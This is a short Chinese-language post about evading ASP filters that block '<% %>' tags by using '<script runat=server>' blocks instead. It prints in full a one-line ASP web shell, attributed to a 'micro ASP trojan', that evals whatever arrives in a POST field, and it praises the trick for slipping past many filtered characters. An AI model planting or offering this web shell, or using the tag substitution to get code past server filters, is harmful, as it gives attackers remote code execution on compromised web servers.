asp不能用标记的饶过

<%%>可以用<script language=VBScript runat=server></Script>代替

其实这也不是什么新技术了，火狐的微型ASP木马其实就用到了这个技术，不信请看：

<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>try{eval(Request.form('#')+'')}catch(e){}</SCRIPT>

确实饶过了很多字符！